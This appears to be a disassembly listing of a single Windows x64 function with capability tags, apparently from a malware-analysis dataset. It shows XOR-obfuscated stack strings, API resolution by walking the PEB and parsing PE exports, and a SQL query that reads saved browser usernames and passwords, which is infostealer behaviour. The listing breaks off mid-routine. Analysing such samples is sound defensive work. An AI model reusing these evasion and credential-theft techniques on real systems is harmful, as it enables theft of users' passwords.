Function at 0x140116470
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x450]
sub rsp, 0x550
mov rax, qword [0x140188020]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov rdi, r9
mov qword [rbp + 0x50], r9
mov rsi, r8
mov qword [rbp + 0x78], r8
mov qword [rbp + 0x110], rdx
mov qword [rbp + 0x388], r8
mov qword [rbp + 0x390], r9
movsxd r13, dword [rbp + 0x4b0]
mov rbx, qword [rbp + 0x4c0]
mov qword [rbp - 0x18], rbx
mov qword [rbp + 0x398], rbx
xor r14d, r14d
mov dword [rbp - 0x70], r14d
mov rdx, r9
lea rcx, [rbp + 0x160]
call fcn.14001e730
mov rdx, rax
lea rcx, [rbp + 0x420]
call fcn.14010f9a0
nop
cmp qword [rbp + 0x430], r14
jne 0x140116532
lea rcx, [rbp + 0x420]
call fcn.14001e820
nop
mov rcx, rsi
call fcn.14001e820
nop
mov rcx, rdi
call fcn.14001e820
nop
mov rcx, rbx
jmp 0x140118810
mov qword [rbp + 0x3c0], r14
mov qword [rbp + 0x3d0], r14
mov qword [rbp + 0x3d8], 0xf
mov byte [rbp + 0x3c0], 0
mov cl, 0x18
mov byte [rbp - 0x60], cl
mov dword [rbp - 0x30], 0x7f775444
mov dword [rbp - 0x2c], 0x5c387671
mov dword [rbp - 0x28], 0x796c79
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116587
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140116596
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp - 0x5c]
mov edi, 8
mov r10d, edi
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1401165b0
lea r9d, [r10 + 0xb]
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x30]
call fcn.14011c9b0
mov qword [rbp - 0x38], rax
movsx ebx, byte [rbp - 0x60]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116629
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140116638
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp - 0x5c]
mov r10, rdi
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140116650
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x5c]
mov rdx, qword [rbp - 0x38]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x1401166b9
mov rdx, r14
jmp 0x1401166e1
movzx eax, byte [rbp - 0x60]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
xor byte [rdx + 5], al
xor byte [rdx + 6], al
xor byte [rdx + 7], al
xor byte [rdx + 8], al
xor byte [rdx + 9], al
xor byte [rdx + 0xa], al
mov byte [rdx + 0xb], 0
mov qword [rbp - 0x10], r14
movdqa xmm0, xmmword [0x1401746b0]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140116700
lea rcx, [rbp - 0x10]
call fcn.14001ea30
nop
mov r8, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140116721
mov r8, qword [rsi]
mov r9, qword [rsi + 0x10]
lea rcx, [rbp - 0x10]
call fcn.140023bb0
mov qword [rbp + 0x400], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x410], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x410], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rbp - 0x70], edi
lea rcx, [rbp - 0x10]
call fcn.14001e820
lea r12, [rbp + 0x400]
cmp qword [rbp + 0x418], 0x10
cmovae r12, qword [rbp + 0x400]
mov cl, 0xf
mov byte [rbp - 0x60], cl
movzx eax, byte [0x14016db18]
xor al, cl
mov byte [rbp - 0x30], al
movzx eax, byte [0x14016db19]
xor al, cl
mov byte [rbp - 0x2f], al
movzx eax, byte [0x14016db1a]
xor al, cl
mov byte [rbp - 0x2e], al
movzx eax, byte [0x14016db1b]
xor al, cl
mov byte [rbp - 0x2d], al
movzx eax, byte [0x14016db1c]
xor al, cl
mov byte [rbp - 0x2c], al
movzx eax, byte [0x14016db1d]
xor al, cl
mov byte [rbp - 0x2b], al
movzx eax, byte [0x14016db1e]
xor al, cl
mov byte [rbp - 0x2a], al
movzx eax, byte [0x14016db1f]
xor al, cl
mov byte [rbp - 0x29], al
movzx eax, byte [0x14016db20]
xor al, cl
mov byte [rbp - 0x28], al
movzx eax, byte [0x14016db21]
xor al, cl
mov byte [rbp - 0x27], al
movzx eax, byte [0x14016db22]
xor al, cl
mov byte [rbp - 0x26], al
xor eax, eax
mov byte [rbp - 0x25], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116830
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011683f
mov edx, 0x9d
call fcn.140128630
imul ebx, ebx, 0x5bd1e995
mov r8d, r14d
lea r10, [rbp - 0x5c]
mov r11, rdi
nop
mov eax, ebx
shr eax, 0x18
xor eax, ebx
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r10], eax
add r8d, 0x5bd1e995
lea r10, [r10 + 4]
sub r11, 1
jne 0x140116850
lea r9d, [r11 + 0xb]
lea r8, [rbp - 0x5c]
lea rdx, [rbp - 0x30]
call fcn.14011c9b0
mov qword [rbp - 0x38], rax
movsx ebx, byte [rbp - 0x60]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401168c7
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401168d6
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r14d
lea r9, [rbp - 0x5c]
mov r10, rdi
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1401168f0
mov r9d, dword [0x140196874]
lea r8, [rbp - 0x5c]
mov rdx, qword [rbp - 0x38]
call fcn.14011cb00
mov rbx, rax
test rax, rax
jne 0x140116959
mov rbx, r14
jmp 0x140116981
movzx eax, byte [rbp - 0x60]
xor byte [rbx], al
xor byte [rbx + 1], al
xor byte [rbx + 2], al
xor byte [rbx + 3], al
xor byte [rbx + 4], al
xor byte [rbx + 5], al
xor byte [rbx + 6], al
xor byte [rbx + 7], al
xor byte [rbx + 8], al
xor byte [rbx + 9], al
xor byte [rbx + 0xa], al
mov byte [rbx + 0xb], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov eax, 0x5a4d
cmp qword [rsi + 0x60], 0
je 0x140116a73
nop word [rax + rax]
mov r11, qword [rsi + 0x30]
mov rsi, qword [rsi]
test r11, r11
je 0x140116a65
cmp word [r11], ax
jne 0x140116a70
movsxd rax, dword [r11 + 0x3c]
cmp dword [rax + r11], 0x4550
jne 0x140116a70
mov ecx, dword [rax + r11 + 0x88]
test ecx, ecx
je 0x140116a70
lea rax, [r11 + rcx]
mov r14d, dword [rax + 0x1c]
add r14, r11
mov r9d, dword [rax + 0x20]
add r9, r11
mov r15d, dword [rax + 0x24]
add r15, r11
xor r10d, r10d
mov edi, dword [rax + 0x18]
test edi, edi
je 0x140116a60
nop
xor r8b, r8b
mov ecx, dword [r9]
add rcx, r11
cmp byte [rcx], r8b
je 0x140116a54
mov rdx, rbx
sub rdx, rcx
movzx eax, byte [rdx + rcx]
test al, al
je 0x140116a4f
cmp byte [rcx], al
jne 0x140116a54
mov r8b, 1
inc rcx
cmp byte [rcx], 0
jne 0x140116a24
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r11
xor r14d, r14d
jmp 0x140116a76
test r8b, r8b
jne 0x140116a3b
inc r10d
add r9, 4
cmp r10d, edi
jb 0x140116a10
mov eax, 0x5a4d
cmp qword [rsi + 0x60], 0
jne 0x1401169b0
xor r14d, r14d
mov rax, r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 7]
mov rcx, r12
call rax
cmp rax, 0xffffffffffffffff
je 0x1401187d1
lea rcx, [rbp + 0x400]
cmp qword [rbp + 0x418], 0x10
cmovae rcx, qword [rbp + 0x400]
xor r9d, r9d
lea r8d, [r9 + 6]
lea rdx, [rbp + 0x360]
call fcn.1400e9a70
test eax, eax
jne 0x1401187d1
movzx r8d, byte [rbp - 0x6c]
lea rdx, str.SELECT_origin_url__action_url__username_value__password_value_FROM_logins
lea rcx, [rbp + 0x2e0]
call fcn.14011c490
mov rbx, rax
movsx edi, byte [rax]
mov ecx, edi
call fcn.140013f00
add edi, eax
cmp edi, 0xfffffff0
jg 0x140116b0e
mov edx, 0x84
call fcn.140128630
cmp edi, 0xffffffb7
jg 0x140116b1d
mov edx, 0x9d
call fcn.140128630
imul r11d, edi, 0x5bd1e995
xor r12d, r12d
mov edx, r12d
lea r8, [rbx + 4]
mov r9, r8
mov r14d, 8
mov r10d, r14d
nop word [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add edx, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140116b40
mov r9d, dword [0x140196874]
mov rdx, qword [rbx + 0x28]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x140116ba4
mov rdx, r12
jmp 0x140116c33
mov r9, r12
movsx eax, byte [rbx]
movd xmm1, eax
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
lea rax, [rdx + 0x48]
cmp rdx, rbx
ja 0x140116bc9
cmp rax, rbx
jae 0x140116c05
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmm1
movdqu xmmword [rdx], xmm0
movdqu xmm0, xmmword [rdx + 0x10]
pxor xmm0, xmm1
movdqu xmmword [rdx + 0x10], xmm0
movdqu xmm0, xmmword [rdx + 0x20]
pxor xmm0, xmm1
movdqu xmmword [rdx + 0x20], xmm0
movdqu xmm0, xmmword [rdx + 0x30]
pxor xmm0, xmm1
movdqu xmmword [rdx + 0x30], xmm0
mov r9d, 0x40
lea rcx, [r9 + rdx]
mov r8d, 0x49
sub r8, r9
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140116c20
mov byte [rdx + 0x49], r12b
mov qword [rsp + 0x30], r12
lea rax, [rbp + 0x370]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8d, [r9 - 1]
mov rbx, qword [rbp + 0x360]
mov rcx, rbx
call fcn.1400ab1d0
test eax, eax
je 0x140116c72
xor edx, edx
mov rcx, rbx
call fcn.1400e6e10
jmp 0x1401187d1
mov rcx, qword [rbp + 0x370]
call fcn.14005b1a0
mov edi, 9
cmp eax, 0x64
jne 0x140117b2b
movabs r15, 0x7fffffffffffffff
nop word [rax + rax]
mov cl, 0x53
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x693f2126
mov word [rsp + 0x74], 0x73
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116cd0
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140116cdf
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r12d
lea r8, [rsp + 0x44]
mov r9, r14
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140116cf1
mov r9d, 5
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116d6c
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140116d7b
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r12d
lea r8, [rsp + 0x44]
mov r9, r14
nop dword [rax]
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140116d90
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x140116df7
mov rdx, r12
jmp 0x140116e0e
movzx eax, byte [rsp + 0x40]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
mov byte [rdx + 5], 0
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
xor edx, edx
mov rcx, qword [rbp + 0x370]
call fcn.14005c1c0
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
mov cl, 0x54
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x2037355e
mov dword [rsp + 0x74], 0x6e3a3b3d
mov word [rsp + 0x78], 0x74
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116e6f
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140116e7e
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r12d
lea r8, [rsp + 0x44]
mov r9, r14
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x140116e90
mov r9d, edi
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140116f08
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140116f17
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140116f30
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x140116f9b
mov rdx, r12
jmp 0x140116fbe
movzx eax, byte [rsp + 0x40]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
xor byte [rdx + 5], al
xor byte [rdx + 6], al
xor byte [rdx + 7], al
xor byte [rdx + 8], al
mov byte [rdx + 9], 0
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
mov edx, 1
mov rcx, qword [rbp + 0x370]
call fcn.14005c1c0
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
mov cl, 0x2f
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x4a5c5a25
mov dword [rsp + 0x74], 0x424e415d
mov word [rsp + 0x78], 0x154a
xor eax, eax
mov byte [rsp + 0x7a], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x140117028
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x140117037
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop dword [rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140117050
lea r9d, [r10 + 0xa]
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401170cd
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401170dc
mov edx, 0x9d
call fcn.140128630
imul r10d, ebx, 0x5bd1e995
mov edx, r12d
lea r8, [rsp + 0x44]
mov r9, r14
nop
mov eax, r10d
shr eax, 0x18
xor eax, r10d
imul eax, eax, 0x5bd1e995
xor eax, edx
imul ecx, eax, 0x286a90b9
xor ecx, 0xaa2a7357
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r8], eax
add edx, 0x5bd1e995
lea r8, [r8 + 4]
sub r9, 1
jne 0x1401170f0
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x140117157
mov rdx, r12
jmp 0x14011717d
movzx eax, byte [rsp + 0x40]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
xor byte [rdx + 5], al
xor byte [rdx + 6], al
xor byte [rdx + 7], al
xor byte [rdx + 8], al
xor byte [rdx + 9], al
mov byte [rdx + 0xa], 0
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
mov edx, 2
mov rcx, qword [rbp + 0x370]
call fcn.14005c1c0
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
mov cl, 0x13
mov byte [rsp + 0x40], cl
mov dword [rsp + 0x70], 0x60726319
mov dword [rsp + 0x74], 0x617c6460
mov word [rsp + 0x78], 0x2977
xor eax, eax
mov byte [rsp + 0x7a], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401171e7
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401171f6
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x140117210
lea r9d, [r10 + 0xa]
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x70]
call fcn.14011c9b0
mov qword [rsp + 0x68], rax
movsx ebx, byte [rsp + 0x40]
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x14011728d
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x14011729c
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1401172b0
mov r9d, dword [0x140196874]
lea r8, [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
call fcn.14011cb00
mov rdx, rax
test rax, rax
jne 0x14011731b
mov rdx, r12
jmp 0x140117341
movzx eax, byte [rsp + 0x40]
xor byte [rdx], al
xor byte [rdx + 1], al
xor byte [rdx + 2], al
xor byte [rdx + 3], al
xor byte [rdx + 4], al
xor byte [rdx + 5], al
xor byte [rdx + 6], al
xor byte [rdx + 7], al
xor byte [rdx + 8], al
xor byte [rdx + 9], al
mov byte [rdx + 0xa], 0
lea rcx, [rbp + 0x3c0]
call fcn.14001e570
mov edx, 3
mov rcx, qword [rbp + 0x370]
call fcn.14005c1c0
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3f0], r12
mov qword [rbp + 0x3f8], 0xf
mov byte [rbp + 0x3e0], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140117385
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.14001ea30
nop
mov rdi, qword [rbp + 0x3f0]
lea rsi, [rbp + 0x3e0]
cmp qword [rbp + 0x3f8], 0x10
cmovae rsi, qword [rbp + 0x3e0]
cmp rdi, 0x10
jae 0x1401173d4
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x28], 0xf
jmp 0x140117444
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14011741e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14011884b
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x140118845
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14011742d
test rcx, rcx
je 0x14011742a
call fcn.14012bbb4
jmp 0x14011742d
mov rax, r12
mov qword [rbp + 0x10], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x20], rdi
lea rcx, [rbp + 0x10]
call fcn.140113480
test al, al
je 0x140117639
lea rax, [rbp + 0x80]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
mov rdi, qword [rbp + 0x3f0]
lea rsi, [rbp + 0x3e0]
cmp qword [rbp + 0x3f8], 0x10
cmovae rsi, qword [rbp + 0x3e0]
cmp rdi, 0x10
jae 0x1401174b7
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x98], 0xf
jmp 0x14011752d
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140117501
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140118857
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x140118851
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140117510
test rcx, rcx
je 0x14011750d
call fcn.14012bbb4
jmp 0x140117510
mov rax, r12
mov qword [rbp + 0x80], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0x98], rbx
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
mov rdi, qword [rbp + 0x430]
lea rsi, [rbp + 0x420]
cmp qword [rbp + 0x438], 0x10
cmovae rsi, qword [rbp + 0x420]
cmp rdi, 0x10
jae 0x140117584
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb8], 0xf
jmp 0x1401175fa
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1401175ce
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140118863
mov rcx, rax
call fcn.14012bbb4
mov rcx, rax
test rax, rax
je 0x14011885d
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1401175dd
test rcx, rcx
je 0x1401175da
call fcn.14012bbb4
jmp 0x1401175dd
mov rax, r12
mov qword [rbp + 0xa0], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14012dc00
mov qword [rbp + 0xb8], rbx
mov qword [rbp + 0xb0], rdi
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
call fcn.1401114a0
nop
mov rdx, rax
lea rcx, [rbp + 0x3c0]
call fcn.14001e600
nop
lea rcx, [rsp + 0x40]
call fcn.14001e820
jmp 0x140117989
lea rax, [rbp + 0x3e0]
cmp qword [rbp + 0x3f8], 0x10
cmovae rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x380], rax
mov eax, dword [rbp + 0x3f0]
mov dword [rbp + 0x378], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
mov cl, 0xa
mov byte [rsp + 0x40], cl
movdqa xmm0, xmmword [0x140174b20]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x80], 0x6b7e
xor eax, eax
mov byte [rbp - 0x7e], al
movsx ebx, cl
mov ecx, ebx
call fcn.140013f00
add ebx, eax
cmp ebx, 0xfffffff0
jg 0x1401176a7
mov edx, 0x84
call fcn.140128630
cmp ebx, 0xffffffb7
jg 0x1401176b6
mov edx, 0x9d
call fcn.140128630
imul r11d, ebx, 0x5bd1e995
mov r8d, r12d
lea r9, [rsp + 0x44]
mov r10, r14
nop dword [rax + rax]
mov eax, r11d
shr eax, 0x18
xor eax, r11d
imul eax, eax, 0x5bd1e995
mov ecx, r8d
xor ecx, eax
imul edx, ecx, 0x286a90b9
xor edx, 0xaa2a7357
mov eax, edx
shr eax, 0xd
xor eax, edx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov dword [r9], eax
add r8d, 0x5bd1e995
lea r9, [r9 + 4]
sub r10, 1
jne 0x1401176d0
lea r9d, [r10 + 0x12]
